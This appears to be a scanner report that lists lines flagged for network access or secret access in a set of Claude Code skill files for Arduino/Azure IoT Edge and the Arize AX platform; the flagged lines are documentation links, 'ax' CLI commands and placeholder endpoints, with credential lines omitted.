    Executable file

harness/claude-code/skills/arduino-azure-iot-edge-integration/SKILL.md

  • Network accessline 28
    - https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 32
    - https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/
  • Network accessline 33
    - https://docs.arduino.cc/
  • Network accessline 34
    - https://docs.arduino.cc/language-reference/
  • Network accessline 135
    - [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/)
  • Network accessline 136
    - [Arduino getting started](https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/)
  • Network accessline 137
    - [Arduino documentation](https://docs.arduino.cc/)
  • Network accessline 138
    - [Arduino language reference](https://docs.arduino.cc/language-reference/)

harness/claude-code/skills/arduino-azure-iot-edge-integration/references/arduino-iot-checklist.md

  • Network accessline 7
    - Official references reviewed from <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> and <https://docs.arduino.cc/>.
  • Network accessline 8
    - Language/API calls validated against <https://docs.arduino.cc/language-reference/>.

harness/claude-code/skills/arduino-azure-iot-edge-integration/references/arduino-official-best-practices.md

  • Network accessline 7
    - Arduino main guide: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/>
  • Network accessline 8
    - Arduino docs home: <https://docs.arduino.cc/>
  • Network accessline 9
    - Getting started path: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/>
  • Network accessline 10
    - Arduino IDE usage: <https://docs.arduino.cc/learn/starting-guide/the-arduino-software-ide/>
  • Network accessline 11
    - Arduino language reference: <https://docs.arduino.cc/language-reference/>
  • Network accessline 12
    - Arduino programming reference overview: <https://docs.arduino.cc/learn/programming/reference/>
  • Network accessline 13
    - Arduino memory guide: <https://docs.arduino.cc/learn/programming/memory-guide/>
  • Network accessline 14
    - Arduino debugging fundamentals: <https://docs.arduino.cc/learn/microcontrollers/debugging/>
  • Network accessline 15
    - Arduino low-power design guide: <https://docs.arduino.cc/learn/electronics/low-power/>
  • Network accessline 16
    - Arduino communication protocols index: <https://docs.arduino.cc/learn/communication/uart/>
  • Network accessline 17
    - Arduino style guide for libraries: <https://docs.arduino.cc/learn/contributions/arduino-library-style-guide/>

harness/claude-code/skills/arize-ai-provider-integration/SKILL.md

  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 111
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 112
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 113
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]
  • Network accessline 115
    | `vertexAI` | `ax ai-integrations create --name "My Vertex AI Integration" --provider vertexAI --provider-metadata '{"project_id": "my-gcp-project", "location": "us-central1"}'` | | `gemini` | `ax ai-integrations create --name "My Gemini I
  • Network accessline 116
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Network accessline 117
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 118
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Network accessline 137
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 139
    ax ai-integrations update NAME_OR_ID --base-url "https://new-endpoint.example.com/v1"
  • Network accessline 154
    | --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.m
  • Network accessline 155
    | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct use
  • Network accessline 156
    | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct users without a key to https://app.arize.com/admin > API Keys. |
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Network accessline 221
    - [Arize API Keys](https://app.arize.com/admin)
  • Network accessline 222
    - [Azure OpenAI endpoint example](https://my-resource.openai.azure.com/)
  • Network accessline 223
    - [NVIDIA NIM endpoint example](https://integrate.api.nvidia.com/v1/models)
  • Network accessline 224
    - [Custom OpenAI-compatible endpoint example](https://my-llm-proxy.example.com/v1)
  • Network accessline 225
    - [Updated endpoint example](https://new-endpoint.example.com/v1)

harness/claude-code/skills/arize-ai-provider-integration/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/skills/arize-annotation/SKILL.md

  • Network accessline 32
    - Use `ax profiles show` only after an authorization or profile error. - Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. - If the user
  • Network accessline 34
    - If the user needs an API key, direct them to https://app.arize.com/admin > API Keys.
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]
  • Network accessline 212
    | `ax: command not found` or `command not found` | CLI absent. | Read `references/ax-setup.md`. | | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run 
  • Network accessline 213
    | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/
  • Network accessline 214
    | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/admin > API Keys. |

harness/claude-code/skills/arize-annotation/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/skills/arize-dataset/SKILL.md

  • Network accessline 45
    If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is
  • Network accessline 46
    - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof
  • Network accessline 47
    - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir

harness/claude-code/skills/arize-dataset/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/skills/arize-evaluator/SKILL.md

  • Network accessline 33
    | --- | --- | | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks
  • Network accessline 34
    | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct
  • Network accessline 35
    | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct them to https://app.arize.com/admin > API Keys. |
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 91
    Never fabricate evaluation results. If a task fails, is cancelled, or produces no scores, report the failure and explain what happened. Do not perform a manual evaluation, invent quality scores, estimate percentages, or present agent analys
  • Network accessline 148
    - [Arize admin API keys](https://app.arize.com/admin)
  • Network accessline 149
    - [Arize support](https://arize.com/support)

harness/claude-code/skills/arize-evaluator/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/skills/arize-evaluator/references/evaluator-crud-workflows.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 423
    |---------|----------| | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |
  • Network accessline 424
    | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | | `Evaluator not found` | `ax evaluators list --space SPACE` |
  • Network accessline 425
    | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |

harness/claude-code/skills/arize-experiment/SKILL.md

  • Network accessline 35
    | `SPACE` | All `--space` flags and `ARIZE_SPACE` accept a space name such as `my-workspace` or a base64 space ID such as `U3BhY2U6...`; find spaces with `ax spaces list`. | | Credentials | Never read `.env` files or search the filesystem f
  • Network accessline 36
    | Credentials | Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. If credentials are absent, ask the user. | | API keys | For `401 Unaut
  • Network accessline 37
    | API keys | For `401 Unauthorized`, run `ax profiles show`; if missing or wrong, use `references/ax-profiles.md`. If the user needs a key, direct them to https://app.arize.com/admin > API Keys. |
  • Network accessline 127
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Network accessline 179
    | `ax: command not found` | Read `references/ax-setup.md`. | | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.
  • Network accessline 180
    | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | | `No profil
  • Network accessline 181
    | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. |
  • Access to secretsline 209
    [Credential-related source omitted]
  • Network accessline 255
    - [Arize API keys](https://app.arize.com/admin)

harness/claude-code/skills/arize-experiment/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/skills/arize-instrumentation/SKILL.md

  • Network accessline 10
    Python and TypeScript/JavaScript apps use openinference-instrumentation packages for     auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference     spans. See https://arize.com/docs/PROMPT.md for setup de
  • Network accessline 11
    auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference     spans. See https://arize.com/docs/PROMPT.md for setup details.   version: 1.0
  • Network accessline 12
    spans. See https://arize.com/docs/PROMPT.md for setup details.
  • Network accessline 32
    Use this skill when the user wants to **add Arize AX tracing** to their application. Follow the **two-phase, agent-assisted flow** from the [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) and the [Arize AX T
  • Network accessline 38
    > Follow the instructions from https://arize.com/docs/PROMPT.md and ask me questions as needed.
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 115
    The **canonical list** of supported integrations and doc URLs is in the [Agent Setup Prompt](https://arize.com/docs/PROMPT.md). Use it to map detected signals to implementation docs.
  • Network accessline 117
    - **LLM providers:** [OpenAI](https://arize.com/docs/ax/integrations/llm-providers/openai), [Anthropic](https://arize.com/docs/ax/integrations/llm-providers/anthropic), [LiteLLM](https://arize.com/docs/ax/integrations/llm-providers/litellm)
  • Network accessline 118
    - **Python frameworks:** [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain), [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph), [LlamaIndex](https://arize.com/docs/ax/in
  • Network accessline 119
    - **TypeScript/JavaScript:** [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain), [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra), [Vercel AI SDK](https://arize.com/docs/ax/
  • Network accessline 120
    - **Java:** [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j), [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai), [Arconia](https://arize.com/docs/ax/integrations/java/arconia).
  • Network accessline 121
    - **Go:** No first-party auto-instrumentation packages today — use the OpenTelemetry Go SDK with manual [OpenInference](https://github.com/Arize-ai/openinference) attributes per [Manual instrumentation](https://arize.com/docs/ax/instrument/
  • Network accessline 122
    - **Platforms (UI-based):** [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow), [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise), [Dify](https://arize.com/docs/ax/integrations/platforms/dify), [Prompt f
  • Network accessline 123
    - **Fallback:** [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation), [All integrations](https://arize.com/docs/ax/integrations).
  • Network accessline 125
    **Fetch the matched doc pages** from the [full routing table in PROMPT.md](https://arize.com/docs/PROMPT.md) for exact installation and code snippets. Use [llms.txt](https://arize.com/docs/llms.txt) as a fallback for doc discovery if needed
  • Network accessline 138
    - TypeScript/JavaScript: `@opentelemetry/sdk-trace-node` plus the relevant `@arizeai/openinference-*` package.    - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle.    - Go: `go get go.opentelemetry
  • Network accessline 139
    - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle.    - Go: `go get go.opentelemetry.io/otel go.opentelemetry.io/otel/sdk go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp` — no auto-i
  • Network accessline 140
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 141
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Network accessline 142
    - Run `ax profiles show` to check for an existing profile.    - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](ht
  • Network accessline 143
    - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) for details.
  • Network accessline 144
    - If the user needs to find their API key manually, direct them to [https://app.arize.com](https://app.arize.com) and to navigate to the settings page (do not use organization-specific URLs with placeholder IDs — they won't resolve for new 
  • Access to secretsline 145
    [Credential-related source omitted]
  • Network accessline 277
    See [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) for more span kinds and attributes.
  • Access to secretsline 292
    [Credential-related source omitted]
  • Network accessline 315
    "arize-ax-docs": {     "url": "https://arize.com/docs/mcp"
  • Network accessline 316
    "url": "https://arize.com/docs/mcp"
  • Network accessline 322
    See the full setup at [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant).
  • Network accessline 326
    | Resource | URL | |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant |
  • Network accessline 327
    |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md |
  • Network accessline 328
    | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant |
  • Network accessline 329
    | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md |
  • Network accessline 330
    | Arize AX Docs | https://arize.com/docs/ax |
  • Network accessline 331
    | Full integration list | https://arize.com/docs/ax/integrations |
  • Network accessline 332
    | Doc index (llms.txt) | https://arize.com/docs/llms.txt |
  • Access to secretsline 342
    [Credential-related source omitted]
  • Access to secretsline 379
    [Credential-related source omitted]
  • Network accessline 387
    - [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant)
  • Network accessline 388
    - [Agent Setup Prompt](https://arize.com/docs/PROMPT.md)
  • Network accessline 389
    - [Arize AX Docs](https://arize.com/docs/ax)
  • Network accessline 390
    - [Full integration list](https://arize.com/docs/ax/integrations)
  • Network accessline 391
    - [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation)
  • Network accessline 392
    - [OpenInference](https://github.com/Arize-ai/openinference)
  • Network accessline 393
    - [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles)
  • Network accessline 394
    - [Arize app](https://app.arize.com)
  • Network accessline 395
    - [Doc index](https://arize.com/docs/llms.txt)
  • Network accessline 396
    - [Arize Docs MCP](https://arize.com/docs/mcp)
  • Network accessline 397
    - [OpenAI integration](https://arize.com/docs/ax/integrations/llm-providers/openai)
  • Network accessline 398
    - [Anthropic integration](https://arize.com/docs/ax/integrations/llm-providers/anthropic)
  • Network accessline 399
    - [LiteLLM integration](https://arize.com/docs/ax/integrations/llm-providers/litellm)
  • Network accessline 400
    - [Google Gen AI integration](https://arize.com/docs/ax/integrations/llm-providers/google-gen-ai)
  • Network accessline 401
    - [Amazon Bedrock integration](https://arize.com/docs/ax/integrations/llm-providers/amazon-bedrock)
  • Network accessline 402
    - [Ollama integration](https://arize.com/docs/ax/integrations/llm-providers/llama)
  • Network accessline 403
    - [Groq integration](https://arize.com/docs/ax/integrations/llm-providers/groq)
  • Network accessline 404
    - [MistralAI integration](https://arize.com/docs/ax/integrations/llm-providers/mistralai)
  • Network accessline 405
    - [OpenRouter integration](https://arize.com/docs/ax/integrations/llm-providers/openrouter)
  • Network accessline 406
    - [VertexAI integration](https://arize.com/docs/ax/integrations/llm-providers/vertexai)
  • Network accessline 407
    - [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain)
  • Network accessline 408
    - [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph)
  • Network accessline 409
    - [LlamaIndex](https://arize.com/docs/ax/integrations/python-agent-frameworks/llamaindex)
  • Network accessline 410
    - [CrewAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/crewai)
  • Network accessline 411
    - [DSPy](https://arize.com/docs/ax/integrations/python-agent-frameworks/dspy)
  • Network accessline 412
    - [AutoGen](https://arize.com/docs/ax/integrations/python-agent-frameworks/autogen)
  • Network accessline 413
    - [Semantic Kernel](https://arize.com/docs/ax/integrations/python-agent-frameworks/semantic-kernel)
  • Network accessline 414
    - [Pydantic AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/pydantic)
  • Network accessline 415
    - [Haystack](https://arize.com/docs/ax/integrations/python-agent-frameworks/haystack)
  • Network accessline 416
    - [Guardrails AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/guardrails-ai)
  • Network accessline 417
    - [Hugging Face Smolagents](https://arize.com/docs/ax/integrations/python-agent-frameworks/hugging-face-smolagents)
  • Network accessline 418
    - [Instructor](https://arize.com/docs/ax/integrations/python-agent-frameworks/instructor)
  • Network accessline 419
    - [Agno](https://arize.com/docs/ax/integrations/python-agent-frameworks/agno)
  • Network accessline 420
    - [Google ADK](https://arize.com/docs/ax/integrations/python-agent-frameworks/google-adk)
  • Network accessline 421
    - [MCP](https://arize.com/docs/ax/integrations/python-agent-frameworks/model-context-protocol)
  • Network accessline 422
    - [Portkey](https://arize.com/docs/ax/integrations/python-agent-frameworks/portkey)
  • Network accessline 423
    - [Together AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/together-ai)
  • Network accessline 424
    - [BeeAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/beeai)
  • Network accessline 425
    - [AWS Bedrock Agents](https://arize.com/docs/ax/integrations/python-agent-frameworks/aws)
  • Network accessline 426
    - [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain)
  • Network accessline 427
    - [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra)
  • Network accessline 428
    - [Vercel AI SDK](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/vercel)
  • Network accessline 429
    - [BeeAI JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/beeai)
  • Network accessline 430
    - [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j)
  • Network accessline 431
    - [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai)
  • Network accessline 432
    - [Arconia](https://arize.com/docs/ax/integrations/java/arconia)
  • Network accessline 433
    - [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow)
  • Network accessline 434
    - [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise)
  • Network accessline 435
    - [Dify](https://arize.com/docs/ax/integrations/platforms/dify)
  • Network accessline 436
    - [Prompt flow](https://arize.com/docs/ax/integrations/platforms/prompt-flow)

harness/claude-code/skills/arize-instrumentation/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com by navigating to the settings page. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmati
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/skills/arize-link/SKILL.md

  • Network accessline 40
    Default `base_url` is `https://app.arize.com`; override it only for on-prem deployments.
  • Network accessline 44
    All path IDs must be base64-encoded with characters `A-Za-z0-9+/=`. Raw numeric IDs produce valid-looking URLs that 404. If the user provides a number, ask them to copy the ID directly from an Arize browser URL such as `https://app.arize.co
  • Network accessline 88
    | 404 | Wrong ID or non-base64 ID | Re-check `org_id`, `space_id`, and `project_id` from the browser URL. | | Span not highlighted | `span_id` belongs to a different trace | Verify `span_id` against exported span data. | | `org_id` unknown 
  • Network accessline 90
    | `org_id` unknown | `ax` CLI does not expose it | Ask the user to copy it from `https://app.arize.com/organizations/{org_id}/spaces/{space_id}/…`. |
  • Network accessline 132
    - [Arize application](https://app.arize.com)

harness/claude-code/skills/arize-link/references/EXAMPLES.md

  • Network accessline 14
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=gene
  • Network accessline 20
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&selectedSpanId={span_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&en
  • Network accessline 26
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedSessionId={session_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=
  • Network accessline 32
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=examples
  • Network accessline 38
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=experiments
  • Network accessline 44
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues
  • Network accessline 50
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues/{queue_id}
  • Network accessline 56
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}
  • Network accessline 62
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}?version={version_url_encoded}
  • Network accessline 68
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/annotation-configs

harness/claude-code/skills/arize-prompt-optimization/SKILL.md

  • Network accessline 72
    If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is
  • Network accessline 73
    - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof
  • Network accessline 74
    - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 499
    - [ ] The output follows the `## Output template` structure and reports commands run or skipped. ## References - [Arize API Keys](https://app.arize.com/admin)
  • Network accessline 501
    - [Arize API Keys](https://app.arize.com/admin)

harness/claude-code/skills/arize-prompt-optimization/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/skills/arize-trace/SKILL.md

  • Network accessline 35
    | --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API ke
  • Network accessline 36
    | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API key, or `401 Una
  • Network accessline 37
